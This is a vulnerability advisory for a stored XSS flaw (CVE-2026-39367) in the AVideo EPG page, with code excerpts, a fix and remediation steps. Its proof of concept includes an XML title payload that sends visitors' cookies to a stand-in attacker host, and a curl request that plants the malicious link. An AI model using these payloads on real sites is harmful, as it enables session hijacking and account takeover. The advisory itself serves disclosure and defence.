CVE-2026-39367: WWBN AVideo has Stored XSS via Malicious EPG XML Program Titles in AVideo EPG Page
Summary
AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epglink to a malicious XML file whose <title> elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.
Details
The vulnerability spans three files in the data flow:
1. Entry point — objects/videoAddNew.json.php:117-119
The epglink parameter is stored with only a URL format check:
php if (empty($POST['epglink']) || isValidURL($POST['epglink'])) { $obj->setEpglink($POST['epglink']); }
This requires User::canUpload() (line 10) — not admin, just basic upload permission.
2. XML parsing — objects/EpgParser.php:321
Programme titles are extracted as raw strings with no sanitization:
php $this->epgdata[$grouper ?: 0] = [ 'title' => (string) $element->title, // ... ];
3. Sink — plugin/PlayerSkins/epg.php:343-351
Programme titles are interpolated directly into HTML output without htmlspecialchars() or any escaping:
php } else if ($width <= $minimumWidth1Dot) { $text = "<abbr title=\"{$program['title']}\">.</abbr>"; // attribute injection } else if ($width <= $minimumWidth) { $text = "<abbr title=\"{$program['title']}\"><small ..."; // attribute injection } else if ($width <= $minimumSmallFont) { $text = "<small class=\"small-font\">{$program['title']}<div>..."; // HTML injection } else { $text = "{$program['title']}<div>..."; // HTML injection }
Notably, the channel display-name is sanitized via safeString() at line 151, but programme titles are not — an apparent oversight.
The EPG page (epg.php) requires no authentication to access, and the rendered output is cached at line 634 (ObjectYPT::setCache), so the XSS payload persists in cache even if the original malicious XML is later removed.
PoC
Step 1: Host a malicious XMLTV file at an attacker-controlled URL:
xml <?xml version="1.0" encoding="UTF-8"?> <tv> <channel id="ch1"> <display-name>Test Channel</display-name> </channel> <programme start="20260404060000 +0000" stop="20260404070000 +0000" channel="ch1"> <title><![CDATA[<img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>]]></title> </programme> </tv>
Step 2: Create a video with the malicious EPG link (requires upload permission):
bash curl -s -b 'PHPSESSID=UPLOADUSERSESSION' \ 'https://target.example/objects/videoAddNew.json.php' \ -d 'title=LiveStream&videoLink=https://example.com/stream.m3u8&epglink=https://attacker.example/evil.xml&categoriesid=1'
Step 3: Any visitor (unauthenticated) browsing the EPG page triggers the XSS:
https://target.example/plugin/PlayerSkins/epg.php
The <img onerror> payload executes in the browser of every visitor, exfiltrating cookies and session tokens.
Impact
- Session hijacking: Any visitor's session cookies are exfiltrated, including administrators - Account takeover: Stolen admin sessions allow full platform control - Persistent: The XSS payload is cached server-side and fires for every page visitor without further interaction - Wide blast radius: The EPG page is publicly accessible with no authentication required
Recommended Fix
Escape all programme data before rendering in HTML. In plugin/PlayerSkins/epg.php, apply htmlspecialchars() to programme titles before interpolation:
php // Around line 340, before the width checks: $safeTitle = htmlspecialchars($program['title'], ENTQUOTES, 'UTF-8');
// Then use $safeTitle instead of $program['title']: } else if ($width <= $minimumWidth1Dot) { $text = "<abbr title=\"{$safeTitle}\">.</abbr>"; } else if ($width <= $minimumWidth) { $text = "<abbr title=\"{$safeTitle}\"><small class=\"duration\">{$minutes} Min</small></abbr>"; } else if ($width <= $minimumSmallFont) { $text = "<small class=\"small-font\">{$safeTitle}<div><small class=\"duration\">{$minutes} Min</small></div></small>"; } else { $text = "{$safeTitle}<div><small class=\"duration\">{$minutes} Min</small></div>"; }
Additionally, consider sanitizing all EPG XML fields at parse time in EpgParser.php:316-330 to defend in depth.
Other sources
WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epglink to a malicious XML file whose <title> elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Configuration
In plugin/PlayerSkins/epg.php (around line 340 before width checks, and at the sink around lines 343-351), escape programme titles by using $safeTitle (derived via htmlspecialchars with ENT_QUOTES and UTF-8) and interpolate $safeTitle into HTML attributes and content instead of $program['title'] to prevent attribute/HTML injection.
AVideo EPG renderer (plugin/PlayerSkins/epg.php) programme title escaping before HTML interpolation = Apply htmlspecialchars() to programme titles (use $safeTitle instead of $program['title'] before building the HTML) - Configuration
In objects/EpgParser.php (lines 316-330), sanitize all extracted EPG XML fields before they are stored/returned for rendering so malicious <title> content from user-controlled epg_link URLs cannot be rendered as executable HTML/JS.
AVideo EPG XML parsing (objects/EpgParser.php) EPG XML field sanitization at parse time = Sanitize all EPG XML fields at parse time (defense in depth)